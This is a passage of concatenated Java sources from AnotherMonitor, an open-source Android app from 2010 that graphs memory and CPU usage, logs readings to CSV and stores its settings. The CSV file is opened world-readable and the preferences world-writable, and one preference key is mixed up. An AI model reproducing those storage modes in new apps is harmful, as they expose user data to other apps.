if (AnotherMonitor.CPURESTP_R) cPURestP.add(0, (workT - workAMT)*100/(float)totalT);
}
workBefore = work;
totalBefore = total;
workAMBefore = workAM;
}
readStream.close();
if (RECORD) record();
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* It writes a CSV file saving the read values. If the application is suddenly finished
* the data that is in the buffer and is not still has not been written will be lost
* (to the max 10-20 lines).
*
* The method is only called from the read() method if the RECORD flag is true.
*/
private void record() {
if (recordStream==null) recordStream = getOutputStreamWriter();
try {
if (FIRSTTIMERECORD_FLAG) {
recordStream.write(getString(R.string.app_name)+" Record,Date:,"+getDate()+",Read interval (ms):,"+AnotherMonitor.READ_INTERVAL
+"\nMemTotal (kB),MemFree (kB),Buffers (kB),Cached (kB),Active (kB),Inactive (kB),SwapTotal (kB),Dirty (kB),CPUTotal (%),CPUanotherMonitor (%),CPURest (%)\n");
myNM.cancelAll();
myNM.notify(4, myNotificationRecord);
FIRSTTIMERECORD_FLAG=false;
}
recordStream.write(memTotal+","+memFree.firstElement()+","+buffers.firstElement()
+","+cached.firstElement()+","+active.firstElement()
+","+inactive.firstElement()+","+swapTotal.firstElement()
+","+dirty.firstElement()+","+cPUTotalP.firstElement()
+","+cPUAMP.firstElement()+","+cPURestP.firstElement()+"\n");
} catch (IOException e) {
e.printStackTrace();
}
}
/**
* It flush and closes any open OutputStreamWriter, informs with a Toast to the user and
* change the state of the status bar.
*/
void stopRecord() {
RECORD=false;
try {
recordStream.flush();
recordStream.close();
recordStream = null;
} catch (Exception e) {
e.printStackTrace();
Toast.makeText(this, getString(R.string.notify_toast_error)+e.getMessage(), Toast.LENGTH_SHORT).show();
}
FIRSTTIMERECORD_FLAG=true;
Toast.makeText(this, getString(R.string.notify_toast_saved), Toast.LENGTH_SHORT).show();
myNM.cancelAll();
myNM.notify(4, myNotificationRead);
}
/**
* It returns an OutputStreamWriter object with the adequate file name to be used by the record() method.
*
* The method is only called from the record() method if the FIRSTTIMERECORD_FLAG flag is true.
*/
private OutputStreamWriter getOutputStreamWriter() {
StringBuilder fileName = new StringBuilder();
fileName.append(getString(R.string.app_name)).append("Record").append(getDate()).append(".csv");
try {
recordStream = new OutputStreamWriter(openFileOutput(fileName.toString(), MODE_WORLD_READABLE));
} catch (IOException e) {
e.printStackTrace();
}
return recordStream;
}
/**
* It returns a String with the current date, for instance, 20100725163142. In a more legible mode
* it means 2010-07-25 16:31:42.
*
* The method is only called from the record() and getOutputStreamWriter() methods.
*/
private String getDate() {
Calendar myCalendar = Calendar.getInstance();
StringBuilder date = new StringBuilder();
DecimalFormat myFormat = new DecimalFormat("00");
date.append(myFormat.format(myCalendar.get(Calendar.YEAR)))
.append(myFormat.format(myCalendar.get(Calendar.MONTH)+1))
.append(myFormat.format(myCalendar.get(Calendar.DATE)))
.append(myFormat.format(myCalendar.get(Calendar.HOUR_OF_DAY)))
.append(myFormat.format(myCalendar.get(Calendar.MINUTE)))
.append(myFormat.format(myCalendar.get(Calendar.SECOND)));
return date.toString();
}
} | Java |
/* Copyright 2010 Antonio Redondo Lopez.
* Source code published under the GNU GPL v3.
* For further information visit http://code.google.com/p/anothermonitor
*/
package com.example.anothermonitor;
import android.content.Context;
import android.content.ContextWrapper;
import android.content.SharedPreferences;
/**
* This class has only 2 methods: readPref() and writePref(). ReadPref() reads (or creates the default values if is there is no saved values) the permanently saved values from the mobile for the static parameters of AnotherMonitor through the SharedPreferences Android class. writePref() modifies and save this values when is called from the AnPreferencesWindows class.
*
* @version 1.0.0
*/
public class AnPreferences extends ContextWrapper {
SharedPreferences mySharedPref;
// This constructor must be implemented when Context is extended.
public AnPreferences(Context x) {
super(x);
mySharedPref = getSharedPreferences(getString(R.string.app_name)+"Pref", MODE_WORLD_WRITEABLE);
}
/**
* Read the values saved by the Preferences window of AnohterMonitor static fields.
* If it is the first time AnotherMonitor is run and there is no saved values, it will be used
* the default values.
*/
void readPref() {
AnotherMonitor.READ_INTERVAL = mySharedPref.getInt("READ_INTERVAL", 1000);
AnotherMonitor.UPDATE_INTERVAL = mySharedPref.getInt("UPDATE_INTERVAL", 4000);
AnotherMonitor.WIDTH_INTERVAL = mySharedPref.getInt("WIDTH_INTERVAL", 5);
AnotherMonitor.HAPPYICONS = mySharedPref.getBoolean("HAPPYICONS", false);
AnotherMonitor.BACKGROUND_COLOR = mySharedPref.getString("BACKGROUND_COLOR", "#000000");
AnotherMonitor.LINES_COLOR = mySharedPref.getString("LINES_COLOR", "#400000");
AnotherMonitor.MEMFREE_R = mySharedPref.getBoolean("MEMFREE_R", true);
AnotherMonitor.BUFFERS_R = mySharedPref.getBoolean("BUFFERS_R", true);
AnotherMonitor.CACHED_R = mySharedPref.getBoolean("CACHED_R", true);
AnotherMonitor.ACTIVE_R = mySharedPref.getBoolean("ACTIVE_R", true);
AnotherMonitor.INACTIVE_R = mySharedPref.getBoolean("INACTIVE_R", true);
AnotherMonitor.SWAPTOTAL_R = mySharedPref.getBoolean("SWAPTOTAL_R", true);
AnotherMonitor.DIRTY_R = mySharedPref.getBoolean("DIRTY_R", true);
AnotherMonitor.CPUAMP_R = mySharedPref.getBoolean("CPUAMP_R", true);
AnotherMonitor.CPURESTP_R = mySharedPref.getBoolean("CPURESTP_R", true);
AnotherMonitor.CPUTOTALP_R = mySharedPref.getBoolean("CPUTOTALP_R", true);
if (!AnotherMonitor.CPUTOTALP_R && !AnotherMonitor.CPUAMP_R && !AnotherMonitor.CPURESTP_R) AnotherMonitor.CPUP_R = false;
else AnotherMonitor.CPUP_R=true;
AnotherMonitor.MEMFREE_D = mySharedPref.getBoolean("MEMFREE_D", true);
AnotherMonitor.BUFFERS_D = mySharedPref.getBoolean("BUFFERS_D", true);
AnotherMonitor.CACHED_D = mySharedPref.getBoolean("CACHED_D", true);
AnotherMonitor.ACTIVE_D = mySharedPref.getBoolean("ACTIVE_D", true);
AnotherMonitor.INACTIVE_D = mySharedPref.getBoolean("INACTIVE_D", true);
AnotherMonitor.SWAPTOTAL_D = mySharedPref.getBoolean("MEMFREE_R", true);
AnotherMonitor.DIRTY_D = mySharedPref.getBoolean("DIRTY_D", true);
AnotherMonitor.CPUTOTALP_D = mySharedPref.getBoolean("CPUTOTALP_D", true);
AnotherMonitor.CPUAMP_D = mySharedPref.getBoolean("CPUAMP_D", true);
AnotherMonitor.CPURESTP_D = mySharedPref.getBoolean("CPURESTP_D", true);
}
/**
* Save on the SharedPreferences preferences system the values of the static fields,
* that is it, it saves permanently on the mobile memory the AnotherMonitor preferences.
*/
void writePref() {
SharedPreferences.Editor mySharedPrefEditor = mySharedPref.edit();
mySharedPrefEditor.putInt("READ_INTERVAL", AnotherMonitor.READ_INTERVAL);
mySharedPrefEditor.putInt("UPDATE_INTERVAL", AnotherMonitor.UPDATE_INTERVAL);
mySharedPrefEditor.putInt("WIDTH_INTERVAL", AnotherMonitor.WIDTH_INTERVAL);
mySharedPrefEditor.putBoolean("HAPPYICONS", AnotherMonitor.HAPPYICONS);
mySharedPrefEditor.putString("BACKGROUND_COLOR", AnotherMonitor.BACKGROUND_COLOR);
mySharedPrefEditor.putString("LINES_COLOR", AnotherMonitor.LINES_COLOR);
mySharedPrefEditor.putBoolean("MEMFREE_R", AnotherMonitor.MEMFREE_R);
mySharedPrefEditor.putBoolean("BUFFERS_R", AnotherMonitor.BUFFERS_R);
mySharedPrefEditor.putBoolean("CACHED_R", AnotherMonitor.CACHED_R);
mySharedPrefEditor.putBoolean("ACTIVE_R", AnotherMonitor.ACTIVE_R);
mySharedPrefEditor.putBoolean("INACTIVE_R", AnotherMonitor.INACTIVE_R);
mySharedPrefEditor.putBoolean("SWAPTOTAL_R", AnotherMonitor.SWAPTOTAL_R);
mySharedPrefEditor.putBoolean("DIRTY_R", AnotherMonitor.DIRTY_R);
mySharedPrefEditor.putBoolean("CPUTOTALP_R", AnotherMonitor.CPUTOTALP_R);
mySharedPrefEditor.putBoolean("CPUAMP_R", AnotherMonitor.CPUAMP_R);
mySharedPrefEditor.putBoolean("CPURESTP_R", AnotherMonitor.CPURESTP_R);
mySharedPrefEditor.putBoolean("MEMFREE_D", AnotherMonitor.MEMFREE_D);
mySharedPrefEditor.putBoolean("BUFFERS_D", AnotherMonitor.BUFFERS_D);
mySharedPrefEditor.putBoolean("CACHED_D", AnotherMonitor.CACHED_D);
mySharedPrefEditor.putBoolean("ACTIVE_D", AnotherMonitor.ACTIVE_D);
mySharedPrefEditor.putBoolean("INACTIVE_D", AnotherMonitor.INACTIVE_D);
mySharedPrefEditor.putBoolean("SWAPTOTAL_D", AnotherMonitor.SWAPTOTAL_D);
mySharedPrefEditor.putBoolean("DIRTY_D", AnotherMonitor.DIRTY_D);
mySharedPrefEditor.putBoolean("CPUTOTALP_D", AnotherMonitor.CPUTOTALP_D);
mySharedPrefEditor.putBoolean("CPUAMP_D", AnotherMonitor.CPUAMP_D);
mySharedPrefEditor.putBoolean("CPURESTP_D", AnotherMonitor.CPURESTP_D);
mySharedPrefEditor.commit();
}
}
| Java |
/* Copyright 2010 Antonio Redondo Lopez.
* Source code published under the GNU GPL v3.
* For further information visit http://code.google.com/p/anothermonitor
*/
package com.example.anothermonitor;
import java.text.DecimalFormat;
import java.util.Vector;
import com.example.anothermonitor.R.id;
import com.example.anothermonitor.R.drawable;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.content.ServiceConnection;
import android.content.res.Configuration;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
import android.view.Menu;
import android.view.MenuItem;
import android.widget.TextView;
/**
* It is the main activity and the first run code of all the program. In its onCreate() method it loads or creates the preferences, starts the service and loads the GUI from the main.xml file. The interface mConnection() is called as soon as the bind between the activity and the services is created. This implemented interface pass the vectors of each read value of AnReaderService class to AnGraphic class and starts to run the Runnable drawRunnable(). This Runnable is whom updates repetitively every time interval the text labels and the graphic.
* <p>
* Another less important features of AnotherMonitor class are the methods related with the management of the main menu: onCreateOptionsMenu(), onPrepareOptionsMenu(), and setMenuIcons().
* <p>
* The first one loads the menu from the menu.xml file and check if the flag myAnReaderService.RECORD is true. If it is true it means that this activity was relaunched when the service was already created because the activity was in the backgroud or it was killed by lack of memory. In this case, the record icon is changed to the stop recording and save icon. The onPrepareOptionsMenu() and setMenuIcons() methods are used to check and change the appearance of the menu icons between the normal icons and the happy ones. Yeah, this option is not very useful... But it is cool!
*
* @author Antonio Redondo
* @version 1.0.0
*/
public class AnotherMonitor extends Activity {
static int READ_INTERVAL, UPDATE_INTERVAL;
static int WIDTH_INTERVAL=1; // This static field should not have valor because it will be loaded from AnPreferences, but it is set to 1 to be drawn when main.xml is seen from Eclipse.
static int TOTAL_INTERVALS=440; // Default value to initialice the vector. Afterwards will be modified automatically.
static String BACKGROUND_COLOR, LINES_COLOR;
static boolean HAPPYICONS, MEMFREE_R, BUFFERS_R, CACHED_R, ACTIVE_R, INACTIVE_R, SWAPTOTAL_R, DIRTY_R, CPUP_R, CPUTOTALP_R, CPUAMP_R, CPURESTP_R,
DRAW, MEMFREE_D, BUFFERS_D, CACHED_D, ACTIVE_D, INACTIVE_D, SWAPTOTAL_D, DIRTY_D, CPUTOTALP_D, CPUAMP_D, CPURESTP_D;
private TextView myTextViewMemTotal, myTextViewMemFree, myTextViewBuffers, myTextViewCached, myTextViewActive,
myTextViewInactive, myTextViewSwapTotal, myTextViewDirty, myTextViewMemFreeP, myTextViewBuffersP,
myTextViewCachedP, myTextViewActiveP, myTextViewInactiveP, myTextViewSwapTotalP, myTextViewDirtyP,
myTextViewCPUTotalP, myTextViewCPUAMP, myTextViewCPURestP, myTextViewMemFreeS, myTextViewBuffersS,
myTextViewCachedS, myTextViewActiveS, myTextViewInactiveS, myTextViewSwapTotalS, myTextViewDirtyS,
myTextViewCPUAMPS, myTextViewCPURestPS;
private Menu myMenu;
private DecimalFormat myFormat = new DecimalFormat("##,###,##0");
private DecimalFormat myFormatPercent = new DecimalFormat("##0.0");
private AnGraphic myAnGraphic; // The customized view to show the graphic.
private AnReaderService myAnReaderService;
private Handler myHandler = new Handler();
// The Runnable used to update every time interval the text labels and the graphic.
private Runnable drawRunnable = new Runnable() {
public void run() {
setTextLabel(AnotherMonitor.MEMFREE_R, AnotherMonitor.MEMFREE_D, myTextViewMemFree, myTextViewMemFreeP, myTextViewMemFreeS, myAnReaderService.memFree);
setTextLabel(AnotherMonitor.BUFFERS_R, AnotherMonitor.BUFFERS_D, myTextViewBuffers, myTextViewBuffersP, myTextViewBuffersS, myAnReaderService.buffers);
setTextLabel(AnotherMonitor.CACHED_R, AnotherMonitor.CACHED_D, myTextViewCached, myTextViewCachedP, myTextViewCachedS, myAnReaderService.cached);
setTextLabel(AnotherMonitor.ACTIVE_R, AnotherMonitor.ACTIVE_D, myTextViewActive, myTextViewActiveP, myTextViewActiveS, myAnReaderService.active);
setTextLabel(AnotherMonitor.INACTIVE_R, AnotherMonitor.INACTIVE_D, myTextViewInactive, myTextViewInactiveP, myTextViewInactiveS, myAnReaderService.inactive);
setTextLabel(AnotherMonitor.SWAPTOTAL_R, AnotherMonitor.SWAPTOTAL_D, myTextViewSwapTotal, myTextViewSwapTotalP, myTextViewSwapTotalS, myAnReaderService.swapTotal);
setTextLabel(AnotherMonitor.DIRTY_R, AnotherMonitor.DIRTY_D, myTextViewDirty, myTextViewDirtyP, myTextViewDirtyS, myAnReaderService.dirty);
if (AnotherMonitor.CPUTOTALP_R) {
if (!myAnReaderService.cPUTotalP.isEmpty()) myTextViewCPUTotalP.setText(myFormatPercent.format((double)myAnReaderService.cPUTotalP.firstElement())+"%");
else myTextViewCPUTotalP.setText(getString(R.string.main_reading));
}
else myTextViewCPUTotalP.setText(getString(R.string.main_not_reading));
setTextLabel(AnotherMonitor.CPUAMP_R, AnotherMonitor.CPUAMP_D, myTextViewCPUAMP, myTextViewCPUAMPS, myAnReaderService.cPUAMP);
setTextLabel(AnotherMonitor.CPURESTP_R, AnotherMonitor.CPURESTP_D, myTextViewCPURestP, myTextViewCPURestPS, myAnReaderService.cPURestP);
if (AnotherMonitor.DRAW) myAnGraphic.invalidate();
myHandler.postDelayed(this, UPDATE_INTERVAL);
}
};
// This interface must be implemented when an Activity connect to a Service. AnotherMonitor.class connects to AnReaderService.class.
private ServiceConnection mConnection = new ServiceConnection() {
/* when the connection is established this method will be called. Then we will pass the vectors
* with each read value from the service to AnGraphic and will start to update the text labels
* and the graphic. */
public void onServiceConnected(ComponentName className, IBinder service) {
myAnReaderService = ((AnReaderService.AnReadDataBinder)service).getService();
myAnGraphic.setVectors(myAnReaderService.memTotal, myAnReaderService.memFree, myAnReaderService.buffers, myAnReaderService.cached,
myAnReaderService.active, myAnReaderService.inactive, myAnReaderService.swapTotal, myAnReaderService.dirty,
myAnReaderService.cPUAMP, myAnReaderService.cPURestP, AnotherMonitor.this);
myTextViewMemTotal.setText(myFormat.format(myAnReaderService.memTotal)+" kB");
myHandler.post(drawRunnable);
}
// Called because some reason we have disconnect from the service. We hope this method does not be call.
public void onServiceDisconnected(ComponentName className) {
myAnReaderService = null;
}
};
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
(new AnPreferences(this)).readPref(); // We load the default or saved values for the AnotherMonitor static fields.
startService(new Intent(this, AnReaderService.class)); // We initialize the service, but does not still connect to it.
setContentView(R.layout.main);
// We link all components from the main.xml file to their programatic objects.
myTextViewMemTotal = (TextView) findViewById(id.textViewMemTotal);
myTextViewMemFree = (TextView) findViewById(id.textViewMemFree);
myTextViewMemFreeP = (TextView) findViewById(id.textViewMemFreeP);
myTextViewMemFreeS = (TextView) findViewById(id.textViewMemFreeS);
myTextViewBuffers = (TextView) findViewById(id.textViewBuffers);
myTextViewBuffersP = (TextView) findViewById(id.textViewBuffersP);
myTextViewBuffersS = (TextView) findViewById(id.textViewBuffersS);
myTextViewCached = (TextView) findViewById(id.textViewCached);
myTextViewCachedP = (TextView) findViewById(id.textViewCachedP);
myTextViewCachedS = (TextView) findViewById(id.textViewCachedS);
myTextViewActive = (TextView) findViewById(id.textViewActive);
myTextViewActiveP = (TextView) findViewById(id.textViewActiveP);
myTextViewActiveS = (TextView) findViewById(id.textViewActiveS);
myTextViewInactive = (TextView) findViewById(id.textViewInactive);
myTextViewInactiveP = (TextView) findViewById(id.textViewInactiveP);
myTextViewInactiveS = (TextView) findViewById(id.textViewInactiveS);
myTextViewSwapTotal = (TextView) findViewById(id.textViewSwapTotal);
myTextViewSwapTotalP = (TextView) findViewById(id.textViewSwapTotalP);
myTextViewSwapTotalS = (TextView) findViewById(id.textViewSwapTotalS);
myTextViewDirty = (TextView) findViewById(id.textViewDirty);
myTextViewDirtyP = (TextView) findViewById(id.textViewDirtyP);
myTextViewDirtyS = (TextView) findViewById(id.textViewDirtyS);
myTextViewCPUTotalP = (TextView) findViewById(id.textViewCPUTotalP);
myTextViewCPUAMP = (TextView) findViewById(id.textViewCPUAMP);
myTextViewCPUAMPS = (TextView) findViewById(id.textViewCPUAMPS);
myTextViewCPURestP = (TextView) findViewById(id.textViewCPURestP);
myTextViewCPURestPS = (TextView) findViewById(id.textViewCPURestPS);
myAnGraphic = (AnGraphic) findViewById(id.myAnGraphic);
DRAW=true; // If this flag is false, the graphic does not be updated.
}
@Override
public void onResume() {
super.onResume();
// We connect with the service.
bindService(new Intent(this, AnReaderService.class), mConnection, 0);
}
@Override
public void onStop() {
super.onStop();
unbindService(mConnection); // We disconnect from te service.
}
// We override this method exclusively to update the main menu icons.
@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
switch (resultCode) {
case 10:
setMenuIcons(false);
myAnGraphic.invalidate();
break;
case 20:
setMenuIcons(true);
myAnGraphic.invalidate();
break;
case 30: myAnGraphic.invalidate(); break;
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
getMenuInflater().inflate(R.menu.menu, menu);
myMenu = menu;
// If the mobile has QWERTY keyboard we set alphabetic shortcuts to every menu option.
if (getResources().getConfiguration().keyboard == Configuration.KEYBOARD_QWERTY) {
myMenu.findItem(id.menu_pause).setAlphabeticShortcut('r').setTitle(getString(R.string.menu_pause)+" (R)");
myMenu.findItem(id.menu_play).setAlphabeticShortcut('r').setTitle(getString(R.string.menu_play)+" (R)");
myMenu.findItem(id.menu_record).setAlphabeticShortcut('s').setTitle(getString(R.string.menu_record)+" (S)");
myMenu.findItem(id.menu_stop_record).setAlphabeticShortcut('s').setTitle(getString(R.string.menu_stop_record)+" (S)");
myMenu.findItem(id.menu_pref).setAlphabeticShortcut('p').setTitle(getString(R.string.menu_pref)+" (P)");
myMenu.findItem(id.menu_about).setAlphabeticShortcut('a').setTitle(getString(R.string.menu_about)+" (A)");
myMenu.findItem(id.menu_exit).setAlphabeticShortcut('e').setTitle(getString(R.string.menu_exit)+" (E)");
}
// If the mobile has numeric-12keys keyboard we set numeric shortcuts to every menu option.
if (getResources().getConfiguration().keyboard == Configuration.KEYBOARD_12KEY) {
myMenu.findItem(id.menu_pause).setNumericShortcut('1').setTitle(getString(R.string.menu_pause)+" (1)");
myMenu.findItem(id.menu_play).setAlphabeticShortcut('1').setTitle(getString(R.string.menu_play)+" (1)");
myMenu.findItem(id.menu_record).setAlphabeticShortcut('5').setTitle(getString(R.string.menu_record)+" (5)");
myMenu.findItem(id.menu_stop_record).setAlphabeticShortcut('5').setTitle(getString(R.string.menu_stop_record)+" (5)");
myMenu.findItem(id.menu_pref).setAlphabeticShortcut('7').setTitle(getString(R.string.menu_pref)+" (7)");
myMenu.findItem(id.menu_about).setAlphabeticShortcut('8').setTitle(getString(R.string.menu_about)+" (8)");
myMenu.findItem(id.menu_exit).setAlphabeticShortcut('9').setTitle(getString(R.string.menu_exit)+" (9)");
}
// We check if a record is performing.
if (AnReaderService.RECORD) {
myMenu.findItem(id.menu_record).setVisible(false).setEnabled(false);
myMenu.findItem(id.menu_stop_record).setVisible(true).setEnabled(true);
}
if (HAPPYICONS) setMenuIcons(true);
return super.onCreateOptionsMenu(menu);
}
/* We override this method to change the default Menu by our customized one.
This is necessary to implement the Happy menu icons option. */
@Override
public boolean onPrepareOptionsMenu(Menu menu) {
return super.onPrepareOptionsMenu(myMenu);
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
switch(item.getItemId()) {
case id.menu_pause:
DRAW = false;
myAnGraphic.invalidate();
myMenu.findItem(id.menu_pause).setVisible(false).setEnabled(false);
myMenu.findItem(id.menu_play).setVisible(true).setEnabled(true);
break;
case id.menu_play:
DRAW = true;
myAnGraphic.invalidate();
myMenu.findItem(id.menu_pause).setVisible(true).setEnabled(true);
myMenu.findItem(id.menu_play).setVisible(false).setEnabled(false);
break;
case id.menu_record:
AnReaderService.RECORD = true;
myAnGraphic.invalidate();
myMenu.findItem(id.menu_record).setVisible(false).setEnabled(false);
myMenu.findItem(id.menu_stop_record).setVisible(true).setEnabled(true);
break;
case id.menu_stop_record:
myAnReaderService.stopRecord();
myAnGraphic.invalidate();
myMenu.findItem(id.menu_record).setVisible(true).setEnabled(true);
myMenu.findItem(id.menu_stop_record).setVisible(false).setEnabled(false);
break;
case id.menu_pref:
startActivityForResult(new Intent(this, AnPreferencesWindow.class), 1);
break;
case id.menu_about:
startActivity(new Intent(this, AnAbout.class));
break;
case id.menu_exit:
myHandler.removeCallbacks(drawRunnable);
myAnReaderService.stopSelf();
finish();
break;
}
return super.onOptionsItemSelected(item);
}
/**
* It updates the different text labels of a memory value.
* This method is only called from the drawRunnable Runnable object.
*/
private void setTextLabel(boolean read, boolean draw, TextView textView, TextView textViewP, TextView textViewS, Vector<String> y) {
if (read) {
if (!draw) textViewS.setText(getString(R.string.main_stopped));
else textViewS.setText(getString(R.string.main_drawing));
if (!y.isEmpty()) {
textView.setText(myFormat.format(Integer.parseInt(y.firstElement()))+" kB");
textViewP.setText(myFormatPercent.format(Integer.parseInt(y.firstElement())*100/(float)myAnReaderService.memTotal)+"%");
} else textViewP.setText(getString(R.string.main_reading));
} else {
textView.setText("");
textViewP.setText(getString(R.string.main_not_reading));
textViewS.setText("");
}
}
/**
* It updates the different text labels of a CPU usage.
*
* This method is only called from the drawRunnable Runnable object.
*/
private void setTextLabel(boolean read, boolean draw, TextView textViewP, TextView textViewS, Vector<Float> y) {
if (read) {
if (!draw) textViewS.setText(getString(R.string.main_stopped));
else textViewS.setText(getString(R.string.main_drawing));
if (!y.isEmpty()) textViewP.setText(myFormatPercent.format((double)y.firstElement())+"%");
else textViewP.setText(getString(R.string.main_reading));
} else {
textViewP.setText(getString(R.string.main_not_reading));
textViewS.setText("");
}
}
/**
* It changes the appearance of the main menu icons betwein the normal ones and the Happy ones.
*/
private void setMenuIcons(boolean happy) {
if (happy) {
myMenu.findItem(id.menu_pause).setIcon(getResources().getDrawable(drawable.pause));
myMenu.findItem(id.menu_play).setIcon(getResources().getDrawable(drawable.play));
myMenu.findItem(id.menu_record).setIcon(getResources().getDrawable(drawable.record));
myMenu.findItem(id.menu_stop_record).setIcon(getResources().getDrawable(drawable.stoprecord));
myMenu.findItem(id.menu_pref).setIcon(getResources().getDrawable(drawable.pref));
myMenu.findItem(id.menu_about).setIcon(getResources().getDrawable(drawable.about));
myMenu.findItem(id.menu_exit).setIcon(getResources().getDrawable(drawable.exit));
} else {
myMenu.findItem(id.menu_pause).setIcon(android.R.drawable.ic_media_pause);
myMenu.findItem(id.menu_play).setIcon(android.R.drawable.ic_media_play);
myMenu.findItem(id.menu_record).setIcon(android.R.drawable.ic_menu_edit);
myMenu.findItem(id.menu_stop_record).setIcon(android.R.drawable.ic_menu_save);
myMenu.findItem(id.menu_pref).setIcon(android.R.drawable.ic_menu_preferences);
myMenu.findItem(id.menu_about).setIcon(android.R.drawable.ic_menu_info_details);
myMenu.findItem(id.menu_exit).setIcon(android.R.drawable.ic_menu_close_clear_cancel);
}
}
} | Java |
/* Copyright 2010 Antonio Redondo Lopez.
* Source code published under the GNU GPL v3.
* For further information visit http://code.google.com/p/anothermonitor
*/
package com.example.anothermonitor;
import java.util.Vector;
import android.util.AttributeSet;
import android.view.View;
import android.content.Context;
import android.content.res.Configuration;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.graphics.Rect;
/**
* The AnGraphic class takes care of drawing and updating every time interval the graphic. Implements View and then, on the onDraw() method that every class what implements View has to have, it draws line to line the background, their grid and edge lines and each one of the memory and CPU usage values lines through the methods drawRect() and drawLine().
* <p>
* This class is a big resources consumer because the reiterative calling to the drawRect() and drawLine() methods every time interval. Thus, the onDraw() method implements the less needed number of operations to show the graphic, but unlucky, they are much. * @author Antonio Redondo
* <p>
* The initializeGraphic() is called exclusively by onDraw() every time we have to initialize the parameters of the graphic, it is to say, when it is the first time we draw the graphic or when the size or the colors of the graphic changes. In this case, the flag AnGrapic.INITIALICEGRAPHIC will be true and the initializeGraphic() will be called.
*<p>
* With setVectors() we set the vectors up to show. And the getPaint() method is exclusively used by initializeGraphic() to creates a new attributes Paint object.
*
* @version 1.0.0
*/
public class AnGraphic extends View {
static boolean INITIALICEGRAPHIC;
private boolean LITTLELAND, LITTLEPORT;
private int Y_BOTTOM_SPACE=16;
private int X_LEFT_SPACE=3;
private int memTotal, xLeft, xRight, yTop, yBottom, graphicHeight, graphicWidth, minutes, seconds;
private String updateIntervalText = "Update interval"; // These strings will be afterwards updated with the right language.
private String graphicPausedText = "Graphic paused";
private String recordingText = "Recording";
private Paint graphicBackgroudPaint, viewBackgroudPaint, circlePaint, textPaint, textPaint2, textPaint3, textPaint4, textRecordingPaint, linesPaint, cPUAMPPaint, cPURestPPaint, memFreePaint, buffersPaint, cachedPaint, activePaint, inactivePaint, swapTotalPaint, dirtyPaint;
private Vector<String> memFree, buffers, cached, active, inactive, swapTotal, dirty;
private Vector<Float> cPUAMP, cPURestP;
// This constructor must be specified when the view is loaded from a xml file, like in this case.
public AnGraphic(Context context, AttributeSet attrs) {
super(context, attrs);
INITIALICEGRAPHIC = true;
}
@Override
protected void onDraw(Canvas canvas) {
// This method is called the first time the graphic is drawn. Like this we does not uselessly recalculate variables.
if (INITIALICEGRAPHIC) initializeGraphic();
// Graphic background
canvas.drawRect(new Rect(xLeft, yTop, xRight, yBottom), graphicBackgroudPaint);
// Horizontal graphic grid lines
canvas.drawLine(xLeft, yTop+graphicHeight/4, xRight, yTop+graphicHeight/4, linesPaint);
canvas.drawLine(xLeft, yTop+graphicHeight/2, xRight, yTop+graphicHeight/2, linesPaint);
canvas.drawLine(xLeft, yTop+graphicHeight/4*3, xRight, yTop+graphicHeight/4*3, linesPaint);
// Vertical graphic grid lines
for (int n=1;n<=minutes;n++) canvas.drawLine(xRight-n*AnotherMonitor.WIDTH_INTERVAL*(int)(60/((float)AnotherMonitor.READ_INTERVAL/1000)), yTop, xRight-n*AnotherMonitor.WIDTH_INTERVAL*(int)(60/((float)AnotherMonitor.READ_INTERVAL/1000)), yBottom, linesPaint);
// Value lines
if (cPUAMP != null && AnotherMonitor.CPUAMP_R && AnotherMonitor.CPUAMP_D) drawLineFloat(cPUAMP, canvas, cPUAMPPaint);
if (cPURestP != null && AnotherMonitor.CPURESTP_R && AnotherMonitor.CPURESTP_D) drawLineFloat(cPURestP, canvas, cPURestPPaint);
if (memFree != null && AnotherMonitor.MEMFREE_R && AnotherMonitor.MEMFREE_D) drawLine(memFree, canvas, memFreePaint);
if (buffers != null && AnotherMonitor.BUFFERS_R && AnotherMonitor.BUFFERS_D) drawLine(buffers, canvas, buffersPaint);
if (cached != null && AnotherMonitor.CACHED_R && AnotherMonitor.CACHED_D) drawLine(cached, canvas, cachedPaint);
if (active != null && AnotherMonitor.ACTIVE_R && AnotherMonitor.ACTIVE_D) drawLine(active, canvas, activePaint);
if (inactive != null && AnotherMonitor.INACTIVE_R && AnotherMonitor.INACTIVE_D) drawLine(inactive, canvas, inactivePaint);
if (swapTotal != null && AnotherMonitor.SWAPTOTAL_R && AnotherMonitor.SWAPTOTAL_D) drawLine(swapTotal, canvas, swapTotalPaint);
if (dirty != null && AnotherMonitor.DIRTY_R && AnotherMonitor.DIRTY_D) drawLine(dirty, canvas, dirtyPaint);
// Update interval, GRAPHIC PAUSED and Recording indicators
canvas.drawText(updateIntervalText+": "+AnotherMonitor.UPDATE_INTERVAL/1000+" s", xRight-5, yTop+15, textPaint);
if (!AnotherMonitor.DRAW) canvas.drawText(graphicPausedText, xRight-5, yTop+30, textPaint);
if (AnReaderService.RECORD) {
if (LITTLELAND) {
canvas.drawText(recordingText, xLeft+18, yBottom-5, textRecordingPaint);
canvas.drawCircle(xLeft+10, yBottom-10, 5, circlePaint);
}
else {
canvas.drawText(recordingText, xLeft+18, yTop+15, textRecordingPaint);
canvas.drawCircle(xLeft+10, yTop+10, 5, circlePaint);
}
}
// Graphic background
canvas.drawRect(new Rect(0, yTop, xLeft, getHeight()), viewBackgroudPaint);
canvas.drawRect(new Rect(0, yBottom, xRight, getHeight()), viewBackgroudPaint);
// Vertical edges
canvas.drawLine(xLeft, yTop, xLeft, yBottom, linesPaint);
canvas.drawLine(xRight, yBottom, xRight, yTop, linesPaint);
// Horizontal edges
canvas.drawLine(xLeft, yTop, xRight, yTop, linesPaint);
canvas.drawLine(xLeft, yBottom, xRight, yBottom, linesPaint);
// Vertical legend
if(LITTLELAND) {
canvas.drawText("100", xLeft-X_LEFT_SPACE, yTop+5, textPaint3);
canvas.drawText("75", xLeft-X_LEFT_SPACE, yTop+graphicHeight/4+5, textPaint3);
canvas.drawText("50", xLeft-X_LEFT_SPACE, yTop+graphicHeight/2+5, textPaint3);
canvas.drawText("25", xLeft-X_LEFT_SPACE, yTop+graphicHeight/4*3+5, textPaint3);
canvas.drawText("0%", xLeft-X_LEFT_SPACE, yBottom, textPaint3);
} else {
